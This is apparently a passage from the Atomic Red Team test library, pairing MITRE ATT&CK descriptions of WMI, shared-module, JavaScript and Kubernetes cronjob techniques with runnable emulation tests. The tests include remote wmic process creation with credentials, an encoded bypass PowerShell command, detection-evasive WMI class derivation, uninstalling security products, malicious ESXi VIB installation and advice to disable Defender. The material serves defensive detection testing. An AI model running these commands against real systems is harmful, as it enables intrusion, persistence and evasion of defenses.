          Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -Force
      - description: 'GhostTask.exe tool from netero101 must exist in the ExternalPayloads
          directory. This tool may be quarantined by windows defender; disable windows
          defender real-time protection to fix it or add the ExternalPayloads directory
          as an exclusion, using a command like `Add-MpPreference -ExclusionPath "PathToAtomicsFolder\..\ExternalPayloads\"`

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe")
          { exit 0} else { exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://github.com/netero1010/GhostTask/releases/download/1.0/GhostTask.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe"
      executor:
        name: command_prompt
        elevation_required: true
        command: |
          "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
          "PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_command}" #{user_name} logon
        cleanup_command: |-
          "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
          "PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} delete #{task_name} > nul
  T1047:
    technique:
      modified: '2024-04-11T18:13:25.130Z'
      name: Windows Management Instrumentation
      description: |-
        Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is designed for programmers and is the infrastructure for management data and operations on Windows systems.(Citation: WMI 1-3) WMI is an administration feature that provides a uniform environment to access Windows system components.

        The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).(Citation: WMI 1-3) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: WMI 1-3) (Citation: Mandiant WMI)

        An adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for [Discovery](https://attack.mitre.org/tactics/TA0007) as well as [Execution](https://attack.mitre.org/tactics/TA0002) of commands and payloads.(Citation: Mandiant WMI) For example, `wmic.exe` can be abused by an adversary to delete shadow copies with the command `wmic.exe Shadowcopy Delete` (i.e., [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)).(Citation: WMI 6)

        **Note:** `wmic.exe` is deprecated as of January of 2024, with the WMIC feature being “disabled by default” on Windows 11+. WMIC will be removed from subsequent Windows releases and replaced by [PowerShell](https://attack.mitre.org/techniques/T1059/001) as the primary WMI interface.(Citation: WMI 7,8) In addition to PowerShell and tools like `wbemtool.exe`, COM APIs can also be used to programmatically interact with WMI via C++, .NET, VBScript, etc.(Citation: WMI 7,8)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      x_mitre_contributors:
      - "@ionstorm"
      - Olaf Hartong, Falcon Force
      - Tristan Madani
      x_mitre_deprecated: false
      x_mitre_detection: 'Monitor network traffic for WMI connections; the use of
        WMI in environments that do not typically use WMI may be suspect. Perform
        process monitoring to capture command-line arguments of "wmic" and detect
        commands that are used to perform remote behavior. (Citation: FireEye WMI
        2015)'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.5'
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Process: Process Creation'
      - 'WMI: WMI Creation'
      - 'Command: Command Execution'
      x_mitre_remote_support: true
      type: attack-pattern
      id: attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055
      created: '2017-05-31T21:30:44.329Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1047
        external_id: T1047
      - source_name: FireEye WMI 2015
        description: Ballenthin, W., et al. (2015). Windows Management Instrumentation
          (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.
        url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
      - source_name: Mandiant WMI
        description: Mandiant. (n.d.). Retrieved February 13, 2024.
        url: https://www.mandiant.com/resources/reports
      - source_name: WMI 6
        description: Microsoft. (2022, June 13). BlackCat. Retrieved February 13,
          2024.
        url: https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/
      - source_name: WMI 1-3
        description: Microsoft. (2023, March 7). Retrieved February 13, 2024.
        url: https://learn.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page?redirectedfrom=MSDN
      - source_name: WMI 7,8
        description: Microsoft. (2024, January 26). WMIC Deprecation. Retrieved February
          13, 2024.
        url: https://techcommunity.microsoft.com/t5/windows-it-pro-blog/wmi-command-line-wmic-utility-deprecation-next-steps/ba-p/4039242
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1047
    atomic_tests:
    - name: WMI Reconnaissance Users
      auto_generated_guid: c107778c-dcf5-47c5-af2e-1d058a3df3ea
      description: "An adversary might use WMI to list all local User Accounts. \nWhen
        the test completes , there should be local user accounts information displayed
        on the command line.\n"
      supported_platforms:
      - windows
      executor:
        command: 'wmic useraccount get /ALL /format:csv

          '
        name: command_prompt
    - name: WMI Reconnaissance Processes
      auto_generated_guid: 5750aa16-0e59-4410-8b9a-8a47ca2788e2
      description: |
        An adversary might use WMI to list Processes running on the compromised host.
        When the test completes , there should be running processes listed on the command line.
      supported_platforms:
      - windows
      executor:
        command: 'wmic process get caption,executablepath,commandline /format:csv

          '
        name: command_prompt
    - name: WMI Reconnaissance Software
      auto_generated_guid: 718aebaa-d0e0-471a-8241-c5afa69c7414
      description: |
        An adversary might use WMI to list installed Software hotfix and patches.
        When the test completes, there should be a list of installed patches and when they were installed.
      supported_platforms:
      - windows
      executor:
        command: 'wmic qfe get description,installedOn /format:csv

          '
        name: command_prompt
    - name: WMI Reconnaissance List Remote Services
      auto_generated_guid: 0fd48ef7-d890-4e93-a533-f7dedd5191d3
      description: "An adversary might use WMI to check if a certain Remote Service
        is running on a remote device. \nWhen the test completes, a service information
        will be displayed on the screen if it exists.\nA common feedback message is
        that \"No instance(s) Available\" if the service queried is not running.\nA
        common error message is \"Node - (provided IP or default)  ERROR Description
        =The RPC server is unavailable\" \nif the provided remote host is unreachable\n"
      supported_platforms:
      - windows
      input_arguments:
        node:
          description: Ip Address
          type: string
          default: 127.0.0.1
        service_search_string:
          description: Name Of Service
          type: string
          default: Spooler
      executor:
        command: 'wmic /node:"#{node}" service where (caption like "%#{service_search_string}%")

          '
        name: command_prompt
    - name: WMI Execute Local Process
      auto_generated_guid: b3bdfc91-b33e-4c6d-a5c8-d64bee0276b3
      description: |
        This test uses wmic.exe to execute a process on the local host.
        When the test completes , a new process will be started locally .A notepad application will be started when input is left on default.
      supported_platforms:
      - windows
      input_arguments:
        process_to_execute:
          description: Name or path of process to execute.
          type: string
          default: notepad.exe
      executor:
        command: 'wmic process call create #{process_to_execute}

          '
        cleanup_command: 'wmic process where name=''#{process_to_execute}'' delete
          >nul 2>&1

          '
        name: command_prompt
    - name: WMI Execute Remote Process
      auto_generated_guid: 9c8ef159-c666-472f-9874-90c8d60d136b
      description: |
        This test uses wmic.exe to execute a process on a remote host. Specify a valid value for remote IP using the node parameter.
        To clean up, provide the same node input as the one provided to run the test
        A common error message is "Node - (provided IP or default)  ERROR Description =The RPC server is unavailable" if the default or provided IP is unreachable
      supported_platforms:
      - windows
      input_arguments:
        node:
          description: Ip Address
          type: string
          default: 127.0.0.1
        user_name:
          description: Username
          type: string
          default: DOMAIN\Administrator
        password:
          description: Password
          type: string
          default: P@ssw0rd1
        process_to_execute:
          description: Name or path of process to execute.
          type: string
          default: notepad.exe
      executor:
        command: 'wmic /user:#{user_name} /password:#{password} /node:"#{node}" process
          call create #{process_to_execute}

          '
        cleanup_command: 'wmic /user:#{user_name} /password:#{password} /node:"#{node}"
          process where name=''#{process_to_execute}'' delete >nul 2>&1

          '
        name: command_prompt
    - name: Create a Process using WMI Query and an Encoded Command
      auto_generated_guid: 7db7a7f9-9531-4840-9b30-46220135441c
      description: |
        Solarigate persistence is achieved via backdoors deployed via various techniques including using PowerShell with an EncodedCommand
         Powershell -nop -exec bypass -EncodedCommand <encoded command>
        Where the –EncodedCommand, once decoded, would resemble:
          Invoke-WMIMethod win32_process -name create -argumentlist ‘rundll32 c:\windows\idmu\common\ypprop.dll _XInitImageFuncPtrs’ -ComputerName WORKSTATION
        The EncodedCommand in this atomic is the following: Invoke-WmiMethod -Path win32_process -Name create -ArgumentList notepad.exe
        You should expect to see notepad.exe running after execution of this test.
        [Solarigate Analysis from Microsoft](https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/)
      supported_platforms:
      - windows
      executor:
        command: 'powershell -exec bypass -e SQBuAHYAbwBrAGUALQBXAG0AaQBNAGUAdABoAG8AZAAgAC0AUABhAHQAaAAgAHcAaQBuADMAMgBfAHAAcgBvAGMAZQBzAHMAIAAtAE4AYQBtAGUAIABjAHIAZQBhAHQAZQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIABuAG8AdABlAHAAYQBkAC4AZQB4AGUA

          '
        name: command_prompt
    - name: Create a Process using obfuscated Win32_Process
      auto_generated_guid: 10447c83-fc38-462a-a936-5102363b1c43
      description: |
        This test tries to mask process creation by creating a new class that inherits from Win32_Process. Indirect call of suspicious method such as Win32_Process::Create can break detection logic.
        [Cybereason blog post No Win32_ProcessNeeded](https://www.cybereason.com/blog/wmi-lateral-movement-win32)
      supported_platforms:
      - windows
      input_arguments:
        new_class:
          description: Derived class name
          type: string
          default: Win32_Atomic
        process_to_execute:
          description: Name or path of process to execute.
          type: string
          default: notepad.exe
      executor:
        name: powershell
        elevation_required: true
        command: |
          $Class = New-Object Management.ManagementClass(New-Object Management.ManagementPath("Win32_Process"))
          $NewClass = $Class.Derive("#{new_class}")
          $NewClass.Put()
          Invoke-WmiMethod -Path #{new_class} -Name create -ArgumentList #{process_to_execute}
        cleanup_command: |
          $CleanupClass = New-Object Management.ManagementClass(New-Object Management.ManagementPath("#{new_class}"))
          try { $CleanupClass.Delete() } catch {}
    - name: WMI Execute rundll32
      auto_generated_guid: '00738d2a-4651-4d76-adf2-c43a41dfb243'
      description: 'This test uses wmic.exe to execute a DLL function using rundll32.
        Specify a valid value for remote IP using the node parameter.

        '
      supported_platforms:
      - windows
      input_arguments:
        node:
          description: Ip Address
          type: string
          default: 127.0.0.1
        dll_to_execute:
          description: Path to DLL.
          type: string
          default: PathToAtomicsFolder\..\ExternalPayloads\calc.dll
        function_to_execute:
          description: Name of DLL function to call
          type: string
          default: StartW
      dependency_executor_name: powershell
      dependencies:
      - description: DLL with function to execute must exist on disk at specified
          location (#{dll_to_execute})
        prereq_command: 'if (Test-Path "#{dll_to_execute}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1047/bin/calc.dll?raw=true" -OutFile "#{dll_to_execute}"
      executor:
        command: 'wmic /node:#{node} process call create "rundll32.exe \"#{dll_to_execute}\"
          #{function_to_execute}"

          '
        cleanup_command: taskkill /f /im calculator.exe
        name: command_prompt
    - name: Application uninstall using WMIC
      auto_generated_guid: c510d25b-1667-467d-8331-a56d3e9bc4ff
      description: Emulates uninstalling  applications using WMIC.  This method only
        works if the product was installed with an msi file.  APTs have been seen
        using this to uninstall security products.
      supported_platforms:
      - windows
      input_arguments:
        node:
          description: Computer the action is being executed against but defaults
            to the localhost.
          type: string
          default: 127.0.0.1
        product:
          description: Enter the product name being uninstalled.  This will default
            to TightVNC.
          type: string
          default: Tightvnc
      dependency_executor_name: powershell
      dependencies:
      - description: TightVNC must be installed.
        prereq_command: if ((Test-Path "C:\Program Files\TightVNC\tvnviewer.exe")-Or
          (Test-Path "C:\Program Files (x86)\TightVNC\tvnviewer.exe")) {exit 0} else
          {exit 1}
        get_prereq_command: |-
          Invoke-WebRequest 'https://www.tightvnc.com/download/2.8.63/tightvnc-2.8.63-gpl-setup-64bit.msi' -OutFile "PathToAtomicsFolder\..\ExternalPayloads\tightvncinstaller.msi"
          start-sleep -s 10
          msiexec /i "PathToAtomicsFolder\..\ExternalPayloads\tightvncinstaller.msi" /qn /norestart
          start-sleep -s 15
      executor:
        command: wmic /node:"#{node}" product where "name like '#{product}%%'" call
          uninstall
        cleanup_command: msiexec /i "PathToAtomicsFolder\..\ExternalPayloads\tightvncinstaller.msi"
          /qn /norestart
        name: command_prompt
        elevation_required: true
  T1129:
    technique:
      modified: '2023-10-12T21:17:14.868Z'
      name: Server Software Component
      description: |-
        Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., [Native API](https://attack.mitre.org/techniques/T1106)).

        Adversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, adversaries can modularize functionality of their malware into shared objects that perform various functions such as managing C2 network communications or execution of specific actions on objective.

        The Linux & macOS module loader can load and execute shared objects from arbitrary local paths. This functionality resides in `dlfcn.h` in functions such as `dlopen` and `dlsym`. Although macOS can execute `.so` files, common practice uses `.dylib` files.(Citation: Apple Dev Dynamic Libraries)(Citation: Linux Shared Libraries)(Citation: RotaJakiro 2021 netlab360 analysis)(Citation: Unit42 OceanLotus 2017)

        The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in `NTDLL.dll` and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like `LoadLibrary` at run time.(Citation: Microsoft DLL)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      x_mitre_contributors:
      - Stefan Kanthak
      x_mitre_deprecated: false
      x_mitre_detection: "Monitoring DLL module loads may generate a significant amount
        of data and may not be directly useful for defense unless collected under
        specific circumstances, since benign use of Windows modules load functions
        are common and may be difficult to distinguish from malicious behavior. Legitimate
        software will likely only need to load routine, bundled DLL modules or Windows
        system DLLs such that deviation from known module loads may be suspicious.
        Limiting DLL module loads to `%SystemRoot%` and `%ProgramFiles%` directories
        will protect against module loads from unsafe paths. \n\nCorrelation of other
        events with behavior surrounding module loads using API monitoring and suspicious
        DLLs written to disk will provide additional context to an event that may
        assist in determining if it is due to malicious behavior."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      x_mitre_version: '2.2'
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Module: Module Load'
      x_mitre_remote_support: false
      type: attack-pattern
      id: attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65
      created: '2017-05-31T21:31:40.542Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1129
        external_id: T1129
      - source_name: RotaJakiro 2021 netlab360 analysis
        description: " Alex Turing, Hui Wang. (2021, April 28). RotaJakiro: A long
          live secret backdoor with 0 VT detection. Retrieved June 14, 2023."
        url: https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/
      - source_name: Apple Dev Dynamic Libraries
        description: Apple. (2012, July 23). Overview of Dynamic Libraries. Retrieved
          September 7, 2023.
        url: https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html
      - source_name: Unit42 OceanLotus 2017
        description: Erye Hernandez and Danny Tsechansky. (2017, June 22). The New
          and Improved macOS Backdoor from OceanLotus. Retrieved September 8, 2023.
        url: https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/
      - source_name: Microsoft DLL
        description: Microsoft. (2023, April 28). What is a DLL. Retrieved September
          7, 2023.
        url: https://learn.microsoft.com/troubleshoot/windows-client/deployment/dynamic-link-library
      - source_name: Linux Shared Libraries
        description: Wheeler, D. (2003, April 11). Shared Libraries. Retrieved September
          7, 2023.
        url: https://tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1129
    atomic_tests:
    - name: ESXi - Install a custom VIB on an ESXi host
      auto_generated_guid: 7f843046-abf2-443f-b880-07a83cf968ec
      description: |
        An adversary can maintain persistence within an ESXi host by installing malicious vSphere Installation Bundles (VIBs).
        [Reference](https://www.mandiant.com/resources/blog/esxi-hypervisors-malware-persistence)
      supported_platforms:
      - windows
      input_arguments:
        vm_host:
          description: Specify the host name of the ESXi Server
          type: string
          default: atomic.local
        vm_user:
          description: Specify the privilege user account on ESXi Server
          type: string
          default: root
        vm_pass:
          description: Specify the privilege user password on ESXi Server
          type: string
          default: pass
        plink_file:
          description: Path to plink
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\plink.exe
        pscp_file:
          description: Path to Pscp
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\pscp.exe
        vib_install:
          description: Path to script with commands to install the vib
          type: path
          default: PathToAtomicsFolder\..\atomics\T1129\src\esxi_vibinstall.txt
        vib_remove:
          description: Path to script with commands to remove the vib
          type: path
          default: PathToAtomicsFolder\..\atomics\T1129\src\esxi_vibremove.txt
        vib_file:
          description: Path to the dummy vib
          type: path
          default: PathToAtomicsFolder\..\atomics\T1129\src\atomicvibes.vib
      dependency_executor_name: powershell
      dependencies:
      - description: 'Check if plink and pscp are available.

          '
        prereq_command: |
          if (Test-Path "#{plink_file}") {exit 0} else {exit 1}
          if (Test-Path "#{pscp_file}") {exit 0} else {exit 1}
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\plink.exe"
          Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/pscp.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\pscp.exe"
      executor:
        command: |
          #{pscp_file} -pw #{vm_pass} #{vib_file} #{vm_user}@#{vm_host}:/tmp
          echo "" | "#{plink_file}" "#{vm_host}" -ssh  -l "#{vm_user}" -pw "#{vm_pass}" -m "#{vib_install}"
        cleanup_command: 'echo "" | "#{plink_file}" "#{vm_host}" -ssh  -l "#{vm_user}"
          -pw "#{vm_pass}" -m "#{vib_remove}"

          '
        name: command_prompt
        elevation_required: false
  T1059.007:
    technique:
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Cody Thomas, SpecterOps
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d
      type: attack-pattern
      created: '2020-06-23T19:12:24.924Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1059.007
        url: https://attack.mitre.org/techniques/T1059/007
      - source_name: NodeJS
        url: https://nodejs.org/
        description: OpenJS Foundation. (n.d.). Node.js. Retrieved June 23, 2020.
      - source_name: JScrip May 2018
        url: https://docs.microsoft.com/windows/win32/com/translating-to-jscript
        description: Microsoft. (2018, May 31). Translating to JScript. Retrieved
          June 23, 2020.
      - source_name: Microsoft JScript 2007
        url: https://docs.microsoft.com/archive/blogs/gauravseth/the-world-of-jscript-javascript-ecmascript
        description: Microsoft. (2007, August 15). The World of JScript, JavaScript,
          ECMAScript …. Retrieved June 23, 2020.
      - source_name: Microsoft Windows Scripts
        url: https://docs.microsoft.com/scripting/winscript/windows-script-interfaces
        description: Microsoft. (2017, January 18). Windows Script Interfaces. Retrieved
          June 23, 2020.
      - source_name: Apple About Mac Scripting 2016
        url: https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html
        description: Apple. (2016, June 13). About Mac Scripting. Retrieved April
          14, 2021.
      - source_name: SpecterOps JXA 2020
        url: https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5
        description: Pitt, L. (2020, August 6). Persistent JXA. Retrieved April 14,
          2021.
      - source_name: SentinelOne macOS Red Team
        url: https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/
        description: 'Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple
          APIs Without Building Binaries. Retrieved July 17, 2020.'
      - source_name: Red Canary Silver Sparrow Feb2021
        url: https://redcanary.com/blog/clipping-silver-sparrows-wings/
        description: 'Tony Lambert. (2021, February 18). Clipping Silver Sparrow’s
          wings: Outing macOS malware before it takes flight. Retrieved April 20,
          2021.'
      - source_name: MDSec macOS JXA and VSCode
        url: https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/
        description: Dominic Chell. (2021, January 1). macOS Post-Exploitation Shenanigans
          with VSCode Extensions. Retrieved April 20, 2021.
      modified: '2022-04-25T14:00:00.188Z'
      name: 'Command and Scripting Interpreter: JavaScript'
      description: |-
        Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)

        JScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)

        JavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple’s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple’s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple’s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). Scripts can be executed via the command line utility <code>osascript</code>, they can be compiled into applications or script files via <code>osacompile</code>, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)

        Adversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      x_mitre_detection: |-
        Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source.

        Monitor for execution of JXA through <code>osascript</code> and usage of <code>OSAScript</code> API that may be related to other suspicious behavior occurring on the system.

        Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.
      x_mitre_is_subtechnique: true
      x_mitre_version: '2.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Module: Module Load'
      - 'Process: Process Creation'
      - 'Script: Script Execution'
      - 'Command: Command Execution'
      x_mitre_permissions_required:
      - User
      - Administrator
      - SYSTEM
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1059.007
    atomic_tests:
    - name: JScript execution to gather local computer information via cscript
      auto_generated_guid: 01d75adf-ca1b-4dd1-ac96-7c9550ad1035
      description: JScript execution test, execute JScript via cscript command. When
        successful, system information will be written to $env:TEMP\T1059.007.out.txt
      supported_platforms:
      - windows
      input_arguments:
        jscript:
          description: Path to sample script
          type: string
          default: PathToAtomicsFolder\T1059.007\src\sys_info.js
      dependency_executor_name: powershell
      dependencies:
      - description: Sample script must exist on disk at specified location (#{jscript})
        prereq_command: 'if (Test-Path "#{jscript}") {exit 0} else {exit 1}

          '
        get_prereq_command: |-
          New-Item -ItemType Directory (Split-Path "#{jscript}") -Force | Out-Null
          Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.007/src/sys_info.js" -OutFile "#{jscript}"
      executor:
        command: 'cscript "#{jscript}" > %tmp%\T1059.007.out.txt

          '
        cleanup_command: del %tmp%\T1059.007.out.txt >nul 2>&1
        name: command_prompt
    - name: JScript execution to gather local computer information via wscript
      auto_generated_guid: '0709945e-4fec-4c49-9faf-c3c292a74484'
      description: JScript execution test, execute JScript via wscript command. When
        successful, system information will be shown with four message boxes.
      supported_platforms:
      - windows
      input_arguments:
        jscript:
          description: Path to sample script
          type: string
          default: PathToAtomicsFolder\T1059.007\src\sys_info.js
      dependency_executor_name: powershell
      dependencies:
      - description: Sample script must exist on disk at specified location (#{jscript})
        prereq_command: 'if (Test-Path "#{jscript}") {exit 0} else {exit 1}

          '
        get_prereq_command: |-
          New-Item -ItemType Directory (Split-Path "#{jscript}") -Force | Out-Null
          Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.007/src/sys_info.js" -OutFile "#{jscript}"
      executor:
        command: 'wscript "#{jscript}"

          '
        name: command_prompt
  T1053.007:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Kubernetes Cronjob
      description: |-
        Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.

        In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Center for Threat-Informed Defense (CTID)
      - Vishwas Manral, McAfee
      - Yossi Weizman, Azure Defender Research Team
      x_mitre_deprecated: false
      x_mitre_detection: 'Monitor for the anomalous creation of scheduled jobs in
        container orchestration environments. Use logging agents on Kubernetes nodes
        and retrieve logs from sidecar proxies for application and resource pods to
        monitor malicious container orchestration job deployments. '
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Containers
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Container: Container Creation'
      - 'Scheduled Job: Scheduled Job Creation'
      x_mitre_permissions_required:
      - User
      x_mitre_remote_support: true
      type: attack-pattern
      id: attack-pattern--1126cab1-c700-412f-a510-61f4937bb096
      created: '2021-03-29T17:06:22.247Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1053/007
        external_id: T1053.007
      - source_name: Kubernetes CronJob
        description: The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved
          March 29, 2021.
        url: https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/
      - source_name: Kubernetes Jobs
        description: The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March
          30, 2021.
        url: https://kubernetes.io/docs/concepts/workloads/controllers/job/
      - source_name: Threat Matrix for Kubernetes
        description: Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved
          March 30, 2021.
        url: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1053.007
    atomic_tests:
    - name: ListCronjobs
      auto_generated_guid: ddfb0bc1-3c3f-47e9-a298-550ecfefacbd
